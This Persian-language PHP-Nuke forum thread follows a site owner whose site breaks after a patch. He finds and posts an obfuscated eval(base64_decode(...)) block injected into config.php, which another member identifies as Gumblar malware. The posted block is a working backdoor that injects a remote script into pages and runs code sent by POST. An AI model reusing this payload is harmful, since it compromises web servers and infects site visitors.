PHPnuke.ir

[iranmpc]

بعد از نصب Patch-2010-02-20 در سایت مشکلات ذیل برایم ایجاد شده است
در IE سمت چپ سایت و ماژول اخبار کار نمی کند ( شکل 1 ) و وقتی به مدیریت Login می کنم دیگر ادامه نمی دهد.
در FireFox صفحه اول می آید ولی وقتی به مدیریت Login می کنم دیگر ادامه نمی دهد. (شکل 2 )
لطفا راهنمایی کنید
می توانید در سایت مشاهده کنید http://www.mrayaneh.ir/web

[MOJTABA]

فایل های js سایتتون تماما ویروسی هستند.

[iranmpc]

فایل های js سایتتون تماما ویروسی هستند.

این فایل ها کجا قرار دارد و باید چه کار کنم تا درست بشه ؟

[MOJTABA]

فایل های js نیوک رو مجددا آپلود کنید
اگه مجددا این اتفاق افتاد یا هاستتون ویروسی هست یا سیستم شخصیتون

[iranmpc]

بعد از جستجوی فراوان در فایل ها فهمیدم که کد ذیل در فایل config.php در خط اول اضافه شده است و باعث عدم اجرای درست سایت شده بود.

کد: انتخاب همه


<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ20wJykpe2Z1bmN0aW9uIGdtMCgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKHByZWdfbWF0Y2goJyNbXC4gXXdpZHRoXHMqPVxzKltcJyJdPzAqWzAtOV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwybDFiR2xoYm1KaFkybDFMbU52YlM5M2NDMXBibU5zZFdSbGN5OTNjQzF6WlhSMGFXNW5jeTV3YUhBZ1Bqd3ZjMk55YVhCMFBnPT0nKSwnJywkcyk7aWYoc3RyaXN0cigkcywnPGJvZHknKSkkcz1wcmVnX3JlcGxhY2UoJyMoXHMqPGJvZHkpI21pJywkYS4nXDEnLCRzLDEpO2Vsc2VpZihzdHJwb3MoJHMsJzxhJykpJHM9JGEuJHM7cmV0dXJuJHM7fWZ1bmN0aW9uIGdtMDIoJGEsJGIsJGMsJGQpe2dsb2JhbCRnbTAxOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCRnbTAxKSljYWxsX3VzZXJfZnVuYygkZ20wMSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKWFzJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0nZ20wJylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgnZ20wJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JGdtMGw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ2dtMDInKSkhPSdnbTAyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?><?php


لطفا اگر کسی از این تکه کد سر در می آورد بفرماید. متشکرم
هنوز با ورود به قسمت مدیریت مشکل دارم . بعضی از بلوک های سمت چپ هم نمی آید

[MOJTABA]

شما دچار gumblar_attack شدید وهاستتون کاملا ویروسی شده.
http://www.phpnuke.ir/47-Gumblar-Attack.html

[iranmpc]

با تشکر از mojtaba
من کلمه عبور ftp سایتم در نرم افزار ws_ftp pro ذخیره بود
با راهنمایی هایی که فرمودید ویندوز را عوض کردم. محتویات سایت را دوباره ریختم . رمز ftp را عوض کردم. در نهایت مشکل حل شد.

قبل از اینکه رمز ftp را عوض کنم چند بار image گرفته شده از ویندوز را برگرداندم و محتویات سایت را عوض کردم ولی سایت فقط برای یک روز درست کارکرد و دوباره همان مشکل ایجاد شد.

حالا که فهمیدم اشکال از پچ نیست عنوات را عوض می کنم